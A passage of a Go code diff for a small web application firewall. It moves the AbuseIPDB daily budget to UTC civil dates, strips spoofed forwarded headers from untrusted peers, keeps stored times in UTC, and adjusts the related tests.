Spent int `json:"spent"`
Scores []Score `json:"scores"`
Day civil.Date `json:"day,omitzero"`
Spent int `json:"spent"`
Scores []Score `json:"scores"`
}
// AbuseIPDBParams are what NewAbuseIPDB needs.
@@ -93,7 +92,7 @@ type AbuseIPDB struct {
// checking are the clients whose check is under way.
checking map[netip.Prefix]bool
// day is the day, in UTC, of the checks spent counts.
day time.Time
day civil.Date
spent int
// checks and failures count the checks made and those that failed,
// and retryAt is when a client may be checked again after the last
@@ -143,7 +142,7 @@ func (a *AbuseIPDB) Hit(
return kept.Score, kept.Score >= a.params.MinScore
}
if today := now.Truncate(day); !a.day.Equal(today) {
if today := civil.DateOf(now.UTC()); a.day != today {
a.day, a.spent = today, 0
}
@@ -190,7 +189,7 @@ func (a *AbuseIPDB) BudgetLeft() int {
a.mu.Lock()
defer a.mu.Unlock()
if !a.day.Equal(a.params.Now().Truncate(day)) {
if a.day != civil.DateOf(a.params.Now().UTC()) {
return a.params.DailyBudget
}
+37
View File
@@ -202,6 +202,43 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
})
}
func TestChecksAreCountedInUTCDaysWhateverTheClocksZone(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
// A clock 14 hours ahead of UTC, whose day starts at 10:00 UTC.
ahead := time.FixedZone("UTC+14", 14*60*60)
p := abuseIPDBParams()
p.DailyBudget = 1
p.Now = func() time.Time { return time.Now().In(ahead) }
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
checker := newAbuseIPDB(abuseIPDB, p)
// At 09:00 UTC the one check is spent.
time.Sleep(9 * time.Hour)
hitFrom(t, checker, suspect, true)
synctest.Wait()
wantBudgetLeft(t, checker, 0)
// At 11:00 UTC the clock's day has changed, but the UTC day has not.
time.Sleep(2 * time.Hour)
wantBudgetLeft(t, checker, 0)
encoded, err := json.Marshal(checker.Snapshot())
if err != nil {
t.Fatalf("encode: %v", err)
}
if !strings.Contains(string(encoded), `"day":"2000-01-01"`) {
t.Errorf("reputation.json would hold %s, want the day 2000-01-01", encoded)
}
// At 00:00 UTC the budget is whole again.
time.Sleep(13 * time.Hour)
wantBudgetLeft(t, checker, 1)
})
}
func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
t.Parallel()
+10 -3
View File
@@ -5,6 +5,7 @@
package requestlog
import (
"bytes"
"encoding/json"
"fmt"
"io"
@@ -252,14 +253,20 @@ func WriteRProxyLine(w io.Writer, line *RProxyLine) error {
return writeJSONLine(w, line)
}
// writeJSONLine writes line to w as one JSON line.
// writeJSONLine writes line to w as one JSON line. It writes "&", "<" and
// ">" as they are, so a query string reads as it was sent.
func writeJSONLine(w io.Writer, line any) error {
encoded, err := json.Marshal(line)
var encoded bytes.Buffer
encoder := json.NewEncoder(&encoded)
encoder.SetEscapeHTML(false)
err := encoder.Encode(line)
if err != nil {
return fmt.Errorf("encode the request log line: %w", err)
}
_, err = w.Write(append(encoded, '\n'))
_, err = w.Write(encoded.Bytes())
if err != nil {
return fmt.Errorf("write the request log line: %w", err)
}
+38
View File
@@ -67,6 +67,44 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
}
}
func TestRequestLinesHoldTheQueryAndRefererAsSent(t *testing.T) {
t.Parallel()
var out bytes.Buffer
err := requestlog.Write(&out, &requestlog.Line{
Query: "a=1&b=<2>",
Referer: "https://example.com/?x=1&y=<2>",
})
if err != nil {
t.Fatalf("write: %v", err)
}
err = requestlog.WriteRProxyLine(&out, &requestlog.RProxyLine{Query: "a=1&b=<2>"})
if err != nil {
t.Fatalf("write the rproxy line: %v", err)
}
lines := strings.Split(strings.TrimSuffix(out.String(), "\n"), "\n")
if len(lines) != 2 {
t.Fatalf("wrote %q, want two lines", out.String())
}
for _, line := range lines {
if !json.Valid([]byte(line)) {
t.Errorf("%s is not valid JSON", line)
}
if !strings.Contains(line, `"query":"a=1&b=<2>"`) {
t.Errorf("%s does not hold the query as sent", line)
}
}
if !strings.Contains(lines[0], `"referer":"https://example.com/?x=1&y=<2>"`) {
t.Errorf("%s does not hold the referer as sent", lines[0])
}
}
func TestWriteRProxyLineWritesOneJSONLineWithOnlyItsFields(t *testing.T) {
t.Parallel()
+8 -9
View File
@@ -105,15 +105,14 @@ func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
return
}
// ReverseProxy has removed Forwarded and the three set below; these are the
// other headers in which traefik tells the app about the visitor and its
// request.
for _, name := range []string{
"X-Forwarded-Port", "X-Forwarded-Server", "X-Forwarded-Uri",
"X-Forwarded-Method", "X-Forwarded-Prefix", "X-Forwarded-Tls-Client-Cert",
"X-Forwarded-Tls-Client-Cert-Info", "X-Real-Ip",
} {
out.Header.Del(name)
// An app behind CGI or FastCGI reads X_Forwarded_Ssl as X-Forwarded-Ssl, so
// a name is matched with each _ read as - and in any letter case.
for name := range out.Header {
spelt := strings.ToLower(strings.ReplaceAll(name, "_", "-"))
if strings.HasPrefix(spelt, "x-forwarded-") ||
spelt == "forwarded" || spelt == "x-real-ip" {
delete(out.Header, name)
}
}
out.Header.Set("X-Forwarded-For", forwardedFor)
+84 -5
View File
@@ -12,6 +12,7 @@ import (
"os"
"strconv"
"strings"
"sync"
"sync/atomic"
"testing"
"time"
@@ -807,8 +808,10 @@ func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(t *testing.
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
_, _ = io.WriteString(w, greeting)
})
// The request time limit is far longer than dial's deadline, so that a busy
// host cannot use it up before the app's answer arrives.
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestTime: "3000",
maxRequestTime: "120000",
})
// Far more announced than sent, so that Go's server answers for the app
@@ -869,11 +872,11 @@ func TestAVisitorThatStopsALittleShortGetsTheAppsAnswerAtOnce(t *testing.T) {
standIn := startWAF(t, allow)
app := startApp(t, answerBeforeTheBody)
// The request time limit is longer than the 10 seconds the status and headers
// of an answer have to be sent, and than dial's deadline.
// Both time limits are far longer than dial's deadline, so that the answer
// has to come before either runs out, and a busy host cannot use them up.
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestTime: "15000",
maxResponseTime: "300",
maxRequestTime: "120000",
maxResponseTime: "60000",
})
conn := dial(t, addr)
@@ -910,6 +913,82 @@ func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(t *testing.
}
}
func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOff(
t *testing.T,
) {
t.Parallel()
const limit = 300 * time.Millisecond
// With two parts, rproxy fails to send the first and then waits for the
// second, which the app sends only once rproxy has ended the request to it.
for _, tc := range []struct {
name string
parts []string
}{
{"with the body in one part", []string{greeting}},
{"with the body in two parts", []string{greeting[:5], greeting[5:]}},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
headersRead := make(chan struct{})
// letAppSendBody also runs when the test ends, as the app's server waits
// for the app.
letAppSendBody := sync.OnceFunc(func() { close(headersRead) })
standIn := startWAF(t, allow)
// The app sends its body once the visitor has the status and headers and
// the response time limit has run out since, so that rproxy cannot send
// it. After each part, it reads the request's body, which ends when rproxy
// ends the request to it.
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
rc := http.NewResponseController(w)
_ = rc.EnableFullDuplex()
w.Header().Set(contentLengthHeader, strconv.Itoa(len(greeting)))
_ = rc.Flush()
<-headersRead
time.Sleep(limit)
for _, part := range tc.parts {
_, _ = io.WriteString(w, part)
_ = rc.Flush()
_, _ = io.Copy(io.Discard, r.Body)
}
})
t.Cleanup(letAppSendBody)
// The request time limit is far longer than dial's deadline.
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestTime: "120000",
maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
})
conn := dial(t, addr)
sendAllButALittle(t, conn)
res, err := http.ReadResponse(bufio.NewReader(conn), nil)
if err != nil {
t.Fatalf("read the answer: %v", err)
}
letAppSendBody()
// If the connection stays open, dial's deadline ends this read with a
// timeout.
body, err := io.ReadAll(res.Body)
_ = res.Body.Close()
if len(body) != 0 || !errors.Is(err, io.ErrUnexpectedEOF) {
t.Errorf("read %q (%v), want the connection closed", body, err)
}
})
}
}
func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
t.Parallel()
+18 -7
View File
@@ -384,8 +384,19 @@ func (rq *request) refuse(status int) {
func (rq *request) finish(ctx context.Context) {
rq.stopTimers()
if rq.refused.Load() == 0 {
rq.stopPassingOnBody()
// After a cut-off answer, the reading of a body that has not arrived whole
// ends now. Go's server would otherwise keep the connection open while it
// reads the rest. A flush fails if the time to send the answer ran out, and
// every flush after a failed one fails too. ReverseProxy ignores the failure,
// but panics if it was still waiting for more of the app's answer; finish runs
// either way. Before a status, a flush would send a 200; after a 101,
// ReverseProxy has taken over the connection.
switch {
case rq.out.status != 0 && rq.out.status != http.StatusSwitchingProtocols &&
errors.Is(rq.rc.Flush(), os.ErrDeadlineExceeded):
rq.stopPassingOnBody(time.Now())
case rq.refused.Load() == 0:
rq.stopPassingOnBody(rq.requestDeadline())
}
requestEnd := rq.endRequest()
@@ -473,10 +484,10 @@ func (rq *request) stopReadingBody(deadline time.Time) {
}
// stopPassingOnBody ends the transport's reading of a visitor's body that has
// not arrived whole, and lets Go's server read the rest until
// SWRP_MAX_REQUEST_TIME_MS runs out. Go's server reads it once the handler
// returns, but with no deadline at all if another read of it is still waiting.
func (rq *request) stopPassingOnBody() {
// not arrived whole, and lets Go's server read the rest until deadline. Go's
// server reads it once the handler returns, but with no deadline at all if
// another read of it is still waiting.
func (rq *request) stopPassingOnBody(deadline time.Time) {
if rq.body == nil || rq.body.received.Load() {
return
}
@@ -489,7 +500,7 @@ func (rq *request) stopPassingOnBody() {
rq.body.stopped = true
rq.body.mu.Unlock()
rq.stopReadingBody(rq.requestDeadline())
rq.stopReadingBody(deadline)
}
// startRequestTimer starts SWRP_MAX_REQUEST_TIME_MS, which runs from the
+16 -3
View File
@@ -559,6 +559,9 @@ func TestAPeerNotTrustedHasItsForwardedHeadersReplaced(t *testing.T) {
"X-Forwarded-Port", "X-Forwarded-Server", "X-Forwarded-Uri",
"X-Forwarded-Method", "X-Forwarded-Prefix", "X-Forwarded-Tls-Client-Cert",
"X-Forwarded-Tls-Client-Cert-Info", "X-Real-Ip",
"X-Forwarded-Scheme", "X-Forwarded-Ssl", "X-Forwarded-Protocol",
"X-Forwarded-Path", "X-Forwarded-Client-Cert",
"X_Forwarded_Ssl", "X_Forwarded_Proto", "X_Real_IP",
}
standIn := startWAF(t, allow)
@@ -582,6 +585,9 @@ func TestAPeerNotTrustedHasItsForwardedHeadersReplaced(t *testing.T) {
req.Header.Set(name, "claimed")
}
// A made-up name, sent in lower case.
req.Header["x-forwarded-made-up"] = []string{"claimed"}
wantGreeting(t, visit(t, req))
header := <-seen
@@ -596,7 +602,7 @@ func TestAPeerNotTrustedHasItsForwardedHeadersReplaced(t *testing.T) {
}
}
for _, name := range removed {
for _, name := range append(removed, "X-Forwarded-Made-Up") {
if got := header.Values(name); len(got) != 0 {
t.Errorf("the app saw %s %q, want none", name, got)
}
@@ -622,6 +628,8 @@ func TestATrustedProxysForwardedHeadersPassOn(t *testing.T) {
"X-Forwarded-Host": "public.example",
forwardedProtoHeader: "https",
"X-Real-Ip": "198.51.100.1",
"X-Forwarded-Ssl": "on",
"X_Forwarded_Ssl": "on",
}
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
@@ -1023,7 +1031,9 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
w.WriteHeader(http.StatusInternalServerError)
_, _ = w.Write(make([]byte, size))
})
addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
timeoutSetting: "60000",
})
got := get(t, addr, "/")
if got.status != http.StatusInternalServerError || len(got.body) != size {
@@ -1117,6 +1127,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
t.Error("the app was asked")
})
addr, out := startRProxy(t, backend(t), app.URL, map[string]string{
timeoutSetting: "60000",
defaultDisposition: setting,
})
@@ -1140,7 +1151,9 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
t.Parallel()
standIn := startWAF(t, overOneMiB(dispositionDeny))
addr, out := startRProxy(t, standIn.URL, nowhere, nil)
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
timeoutSetting: "60000",
})
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
t.Errorf("answered %+v, want 502", got)
+81 -2
View File
@@ -171,9 +171,11 @@ type alertsFile struct {
// check refuses the first entry without a field it needs, which would
// otherwise be read as something the entry does not say. data is the
// file, for a field that may be null or "" but not left out, which the
// struct cannot tell apart.
// struct cannot tell apart. Its toUTC then converts every time in it to
// UTC, since an admin may write a time with an offset.
type stateFile interface {
check(data []byte) error
toUTC()
}
// Load checks that files can be written in Dir, and reads the state files
@@ -918,6 +920,80 @@ func missing(i int, field string) error {
return fmt.Errorf("entry %d %w %q", i+1, errMissing, field)
}
// toUTC converts every time of each ban to UTC.
func (f *bansFile) toUTC() {
for i := range f.Bans {
ban := &f.Bans[i]
convertToUTC(&ban.Start, ban.Expires, ban.Lifted, &ban.Notes.Request.Time)
}
}
// toUTC converts every time of each client to UTC.
func (f *clientsFile) toUTC() {
for i := range f.Clients {
client := &f.Clients[i]
convertToUTC(&client.Minute.Start, &client.Hour.Start, &client.Day.Start,
&client.MinuteBytes.Start, &client.HourBytes.Start,
&client.DayBytes.Start, &client.MinuteRefusals.Start,
&client.History.FirstSeen, &client.History.LastSeen,
&client.History.LookedUp)
}
}
// toUTC converts both times of each answer to UTC.
func (f *lookupsFile) toUTC() {
for i := range f.Lookups {
convertToUTC(&f.Lookups[i].Answered, &f.Lookups[i].Used)
}
}
// toUTC converts every time of each list, verdict and AbuseIPDB score to
// UTC.
func (f *reputationFile) toUTC() {
for i := range f.Lists {
convertToUTC(&f.Lists[i].Tried, &f.Lists[i].Fetched)
}
for i := range f.Verdicts {
convertToUTC(&f.Verdicts[i].Fetched)
}
for i := range f.AbuseIPDB.Scores {
convertToUTC(&f.AbuseIPDB.Scores[i].Fetched)
}
}
// toUTC converts every time of each cooldown, of the hour, of each alert
// waiting and of each anomaly counter to UTC.
func (f *alertsFile) toUTC() {
for i := range f.Cooldowns {
convertToUTC(&f.Cooldowns[i].Sent)
}
convertToUTC(&f.Hour.Start)
for _, waiting := range f.Waiting {
for i := range waiting {
convertToUTC(&waiting[i].Time)
}
}
for i := range f.AnomalyCounters {
counter := &f.AnomalyCounters[i]
convertToUTC(&counter.Minute.Start, &counter.Hour.Start,
&counter.MinuteBytes.Start, &counter.HourBytes.Start)
}
}
// convertToUTC converts each of times that is not nil to UTC.
func convertToUTC(times ...*time.Time) {
for _, at := range times {
if at != nil {
*at = at.UTC()
}
}
}
// encodeOnePerLine encodes a state file whose entries, under key, are one
// to a line, so that grep shows everything about one client.
func encodeOnePerLine[E any](key string, entries []E) ([]byte, error) {
@@ -955,7 +1031,8 @@ func checkWritable(dir string) error {
}
// parse reads data, what the state file at path holds, into file, a
// pointer to that file's struct, and checks its entries.
// pointer to that file's struct, checks its entries, and converts every
// time in it to UTC.
func parse(path string, data []byte, file stateFile) error {
// The version is read first, so that a file of another version is
// refused for that, and not for an entry this version cannot read.
@@ -985,6 +1062,8 @@ func parse(path string, data []byte, file stateFile) error {
return fmt.Errorf("%s%s: %w", path, position(data, err), err)
}
file.toUTC()
return nil
}
+67 -7
View File
@@ -14,6 +14,7 @@ import (
"os"
"path/filepath"
"reflect"
"regexp"
"slices"
"strconv"
"strings"
@@ -21,6 +22,7 @@ import (
"testing/synctest"
"time"
"cloud.google.com/go/civil"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/bans"
@@ -258,7 +260,7 @@ const filledReputationJSON = `{
}
],
"abuseipdb": {
"day": "2026-10-06T00:00:00Z",
"day": "2026-10-06",
"spent": 3,
"scores": [
{
@@ -1306,7 +1308,7 @@ func TestEditOfEachFileTakenIn(t *testing.T) {
`"tried": "2026-10-06T00:00:00Z", "fetched": "2026-10-06T00:00:00Z", `+
`"lines": ["198.51.100.7"]}], "verdicts": [{"zone": "`+dnsblZone+`", `+
`"client": "198.51.100.7", "listed": true, "fetched": "2026-10-06T00:00:00Z"}], `+
`"abuseipdb": {"day": "2026-10-06T00:00:00Z", "spent": 9, "scores": [`+
`"abuseipdb": {"day": "2026-10-06", "spent": 9, "scores": [`+
`{"client": "198.51.100.7/32", "score": 80, "fetched": "2026-10-06T00:00:00Z"}]}}`)
wantTakenIn(t, lines, dir, reputationJSON)
@@ -1321,7 +1323,7 @@ func TestEditOfEachFileTakenIn(t *testing.T) {
}})
checks := reputation.Checks{
Day: midnight(), Spent: 9,
Day: civil.DateOf(midnight()), Spent: 9,
Scores: []reputation.Score{{Client: client, Score: 80, Fetched: midnight()}},
}
if got := params.AbuseIPDB.Snapshot(); !reflect.DeepEqual(got, checks) {
@@ -1350,6 +1352,62 @@ func TestEditOfEachFileTakenIn(t *testing.T) {
}
}
func TestTimesEditedWithAnOffsetWrittenBackInUTC(t *testing.T) {
t.Parallel()
dir := t.TempDir()
params := newParams(dir)
fill(params)
// A lifted ban, so that bans.json holds every time a ban has.
params.Ledger.Lift(netip.MustParseAddr("192.0.2.1"), midnight())
files := load(t, params)
err := files.WriteAll()
if err != nil {
t.Fatalf("write: %v", err)
}
// An admin saves each file with every time in it two hours ahead of
// UTC, midnight as "2026-10-06T02:00:00+02:00".
stamp := regexp.MustCompile(`"\d{4}-\d\d-\d\dT[^"]*Z"`)
ahead := time.FixedZone("UTC+2", 2*60*60)
written := map[string]string{}
for _, name := range []string{
bansJSON, clientsJSON, lookupsJSON, reputationJSON, alertsJSON,
} {
written[name] = readFile(t, filepath.Join(dir, name))
edited := stamp.ReplaceAllStringFunc(written[name], func(quoted string) string {
at, err := time.Parse(time.RFC3339Nano, strings.Trim(quoted, `"`))
if err != nil {
t.Fatalf("%s holds %s: %v", name, quoted, err)
}
return `"` + at.In(ahead).Format(time.RFC3339Nano) + `"`
})
if !strings.Contains(edited, "+02:00") {
t.Fatalf("%s holds no time:\n%s", name, edited)
}
edit(t, dir, name, edited)
}
// Each write takes its edit in first, and writes the same times back in
// UTC.
err = files.WriteAll()
if err != nil {
t.Fatalf("write: %v", err)
}
for name, want := range written {
if got := readFile(t, filepath.Join(dir, name)); got != want {
t.Errorf("%s written back as\n%s\nwant\n%s", name, got, want)
}
}
}
func TestOwnWritesAreNotTakenIn(t *testing.T) {
t.Parallel()
@@ -1837,10 +1895,12 @@ func fill(params state.Params) {
},
{Zone: dnsblZone, Client: client.Addr(), Listed: true, Fetched: now.Add(-time.Hour)},
})
params.AbuseIPDB.Load(reputation.Checks{Day: now, Spent: 3, Scores: []reputation.Score{
{Client: netip.MustParsePrefix("2001:db8::/64"), Fetched: now.Add(-2 * time.Hour)},
{Client: client, Score: 100, Fetched: now.Add(-time.Hour)},
}})
params.AbuseIPDB.Load(reputation.Checks{
Day: civil.DateOf(now), Spent: 3, Scores: []reputation.Score{
{Client: netip.MustParsePrefix("2001:db8::/64"), Fetched: now.Add(-2 * time.Hour)},
{Client: client, Score: 100, Fetched: now.Add(-time.Hour)},
},
})
// An alert waiting, a repeat of it the cooldown holds back, another
// alert waiting, and one past the two an hour, for the hour's summary.
+30 -4
View File
@@ -92,6 +92,31 @@ func (o *output) line(t *testing.T, key, value string) map[string]any {
return nil
}
// lineBeforeExit returns the first line whose msg is msg, waiting for it
// while sww runs. It waits as long as that takes, so that a slow start
// cannot fail the test, and fails the test if sww exits first.
func (o *output) lineBeforeExit(
t *testing.T, msg string, exited <-chan int,
) map[string]any {
t.Helper()
for {
fields := o.findLine(t, func(fields map[string]any) bool {
return fields["msg"] == msg
})
if fields != nil {
return fields
}
select {
case status := <-exited:
t.Fatalf("exit status %d while waiting for a line with msg %q; output:\n%s",
status, msg, o.text())
case <-time.After(pollInterval):
}
}
}
// findLine returns the first line written so far for which matches is true, or
// nil.
func (o *output) findLine(
@@ -236,11 +261,12 @@ func TestServesUntilToldToStop(t *testing.T) {
}()
// The default rule file is read.
if rules := out.line(t, "msg", "read the rule files")["rules"]; rules != 12.0 {
readRules := out.lineBeforeExit(t, "read the rule files", exited)
if rules := readRules["rules"]; rules != 12.0 {
t.Errorf("read %v rules from the default rule file, want 12", rules)
}
starting := out.line(t, "msg", "starting")
starting := out.lineBeforeExit(t, "starting", exited)
wantStartingLine(t, starting, dir)
addr, _ := starting["address"].(string)
@@ -286,7 +312,7 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) {
}, out)
}()
out.line(t, "msg", "fetching a list failed")
out.lineBeforeExit(t, "fetching a list failed", exited)
stop()
select {
@@ -1261,7 +1287,7 @@ func runUntilStopped(
exited <- run(ctx, env, out)
}()
addr, _ := out.line(t, "msg", "starting")["address"].(string)
addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
use("http://" + addr + "/")
stop()
+51 -3
View File
@@ -9,10 +9,14 @@ import (
"os"
"os/exec"
"path/filepath"
"regexp"
"strings"
"syscall"
"testing"
"time"
// The time zone database, so that the process TestMainRunsWAF starts
// finds the zone TZ names on any host.
_ "time/tzdata"
"sneak.berlin/go/smallwebwaf/internal/sww"
"sneak.berlin/go/smallwebwaf/internal/waf"
@@ -37,6 +41,14 @@ func TestMain(m *testing.M) {
func TestMainRunsWAF(t *testing.T) {
t.Parallel()
// Kiritimati is 14 hours ahead of UTC; every time sww gives stays in UTC.
const zone = "Pacific/Kiritimati"
_, err := time.LoadLocation(zone)
if err != nil {
t.Fatalf("load %s: %v", zone, err)
}
binary, err := os.Executable()
if err != nil {
t.Fatalf("find the test binary: %v", err)
@@ -45,14 +57,16 @@ func TestMainRunsWAF(t *testing.T) {
ctx, cancel := context.WithTimeout(t.Context(), 3*waitLimit)
defer cancel()
dir := t.TempDir()
out := &output{}
cmd := exec.CommandContext(ctx, binary) //nolint:gosec // this test binary
cmd.Stdout = out
cmd.Env = append(os.Environ(),
"TZ="+zone,
commandForMain+"="+wafCommand,
listenAddr+"="+localhost+":0",
stateDir+"="+t.TempDir(),
stateDir+"="+dir,
rulesDir+"="+t.TempDir(),
lookupSource+"=off")
@@ -66,9 +80,11 @@ func TestMainRunsWAF(t *testing.T) {
_ = cmd.Wait()
})
addr, _ := out.line(t, "msg", "starting")["address"].(string)
starting := out.line(t, "msg", "starting")
addr, _ := starting["address"].(string)
ask(t, addr, "/", http.StatusOK, waf.DispositionAllow)
// The files are written as sww stops.
err = cmd.Process.Signal(syscall.SIGTERM)
if err != nil {
t.Fatalf("signal: %v", err)
@@ -76,7 +92,39 @@ func TestMainRunsWAF(t *testing.T) {
err = cmd.Wait()
if err != nil {
t.Errorf("exit: %v; output:\n%s", err, out.text())
t.Fatalf("exit: %v; output:\n%s", err, out.text())
}
wantUTC(t, "the process line", starting["time"])
wantUTC(t, "the request line", out.line(t, "type", "request")["time"])
path := filepath.Join(dir, "clients.json")
clients, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
if err != nil {
t.Fatalf("read clients.json: %v", err)
}
stamp := regexp.MustCompile(`"\d{4}-\d\d-\d\dT[^"]*"`)
times := stamp.FindAllString(string(clients), -1)
if len(times) == 0 {
t.Errorf("clients.json holds no time:\n%s", clients)
}
for _, stored := range times {
wantUTC(t, "clients.json", strings.Trim(stored, `"`))
}
}
// wantUTC checks that value, a time read from the log line or file that
// where names, is in UTC.
func wantUTC(t *testing.T, where string, value any) {
t.Helper()
text, _ := value.(string)
if !strings.HasSuffix(text, "Z") {
t.Errorf("%s gives the time %v, want one in UTC", where, value)
}
}
+145 -38
View File
@@ -7,6 +7,7 @@ import (
"net/http"
"net/http/httptest"
"net/netip"
"path/filepath"
"slices"
"strconv"
"strings"
@@ -16,6 +17,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
@@ -216,93 +218,199 @@ func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
}
}
func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
func TestTheRateLimitsDoNotCountRequestsOverTheHeaderLimits(t *testing.T) {
t.Parallel()
s := startWAF(t, "", map[string]string{rateLimitPerMinute: "1"})
ask := func() answer {
for range 2 {
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
return do(t, req)
wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny)
}
wantDisposition(t, ask(), tooLarge, waf.DispositionDeny)
wantDisposition(t, ask(), http.StatusForbidden, waf.DispositionDeny)
lines := s.out.requestLines(t, 2)
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionClientIsRateLimited)
wantDisposition(t, s.ask(client, "/"), http.StatusOK, waf.DispositionAllow)
}
func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) {
func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
t.Parallel()
// The lookup database places client in Germany.
lookupDB := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
lookuptest.Write(t, lookupDB, map[string]lookuptest.Network{
client + "/32": {ASN: asnDE, ASName: asNameDE, Country: "DE"},
})
for _, tc := range []struct {
name, path, action string
name string
env map[string]string
path string
// prepare gets the server ready, at now, before the question.
prepare func(t *testing.T, server *waf.Server, now time.Time)
}{
{"a trap path", "/wp-login.php", requestlog.ActionTemporarilyBanned},
{"a block rule", "/blocked", requestlog.ActionBlockedByBlockRule},
{"SWW_DENY_NETS", map[string]string{denyNets: client}, "/", leaveAsItIs},
{"a ban", nil, "/", banClient},
{
"the country list", map[string]string{
lookupSource: fileSource, lookupDBPath: lookupDB, allowedCountries: "FR",
},
"/", leaveAsItIs,
},
{"a blocklist", map[string]string{blocklistURLs: dropURL}, "/", listClient},
{
"the CrowdSec decision list",
map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey}, "/", decideOnClient,
},
{
"a DNS blocklist", map[string]string{
dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionDeny,
},
"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
loadVerdicts(server, map[string][]string{client: {dnsblZone}})
},
},
{
"AbuseIPDB",
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny},
"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
// Over SWW_ABUSEIPDB_MIN_SCORE, 75 by default.
loadScores(server, map[string]int64{client: 80})
},
},
{
"SWW_TAG_DENY", map[string]string{tagLists: "vpn=" + vpnList, tagDeny: "vpn"},
"/", func(t *testing.T, server *waf.Server, _ time.Time) {
t.Helper()
loadLists(t, server, map[string][]string{vpnList: {client}})
},
},
{"the rate limits", map[string]string{rateLimitPerMinute: "1"}, "/", countClient},
{
"a trap path", map[string]string{trapPaths: trapPathList}, "/wp-login.php",
leaveAsItIs,
},
{
"a block rule", map[string]string{rulesDir: writeRules(t, testRules)}, "/blocked",
leaveAsItIs,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s := startWAF(t, "", map[string]string{
trapPaths: trapPathList, rulesDir: writeRules(t, testRules),
})
s := startWAF(t, "", tc.env)
tc.prepare(t, s.server, s.clock.Now())
req := s.question(siteA, client, tc.path)
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), http.StatusForbidden, waf.DispositionDeny)
wantLine(t, s.out.requestLine(t), http.StatusForbidden, tc.action)
wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny)
wantLine(t, s.out.requestLine(t), tooLarge, requestlog.ActionRequestHeaderTooLarge)
})
}
}
func TestARequestOverTheHeaderLimitsRunsNoOtherCheck(t *testing.T) {
t.Parallel()
// Each check after the header limits leaves a mark on the log line of a
// request it reads: a tag, routewatch_tags_missing, a rule id, the
// counts, or the Core Rule Set's time.
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
lookuptest.Write(t, path, map[string]lookuptest.Network{
client + "/32": {ASN: asnDE, ASName: asNameDE, Country: "DE"},
})
s := startWAF(t, "", map[string]string{
lookupSource: fileSource, lookupDBPath: path,
tagLists: "vpn=" + vpnList,
routeWatchURL: startRouteWatch(t, map[string]standInRoute{client: {prefixDE, 64496}}),
dnsblZones: dnsblZone, reputationAction: actionLog,
rulesDir: writeRules(t, "noted path log ^/\n"),
wafMode: block,
})
loadLists(t, s.server, map[string][]string{vpnList: {client}})
loadVerdicts(s.server, map[string][]string{client: {dnsblZone}})
over := s.question(siteA, client, "/")
over.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, over), tooLarge, waf.DispositionDeny)
within := s.question(siteA, client, "/")
within.Header.Set(cookieHeader, cookies(cookieLimit))
wantDisposition(t, do(t, within), http.StatusOK, waf.DispositionAllow)
lines := s.out.requestLines(t, 2)
wantTags(t, lines[0])
wantTagsMissing(t, lines[0], "")
if lines[0].RuleIDs != nil || lines[0].Counts != (ratelimit.Counts{}) ||
lines[0].DurationCoreRuleSetMS != nil {
t.Errorf("rule ids %v, counts %+v and Core Rule Set time %v, want none",
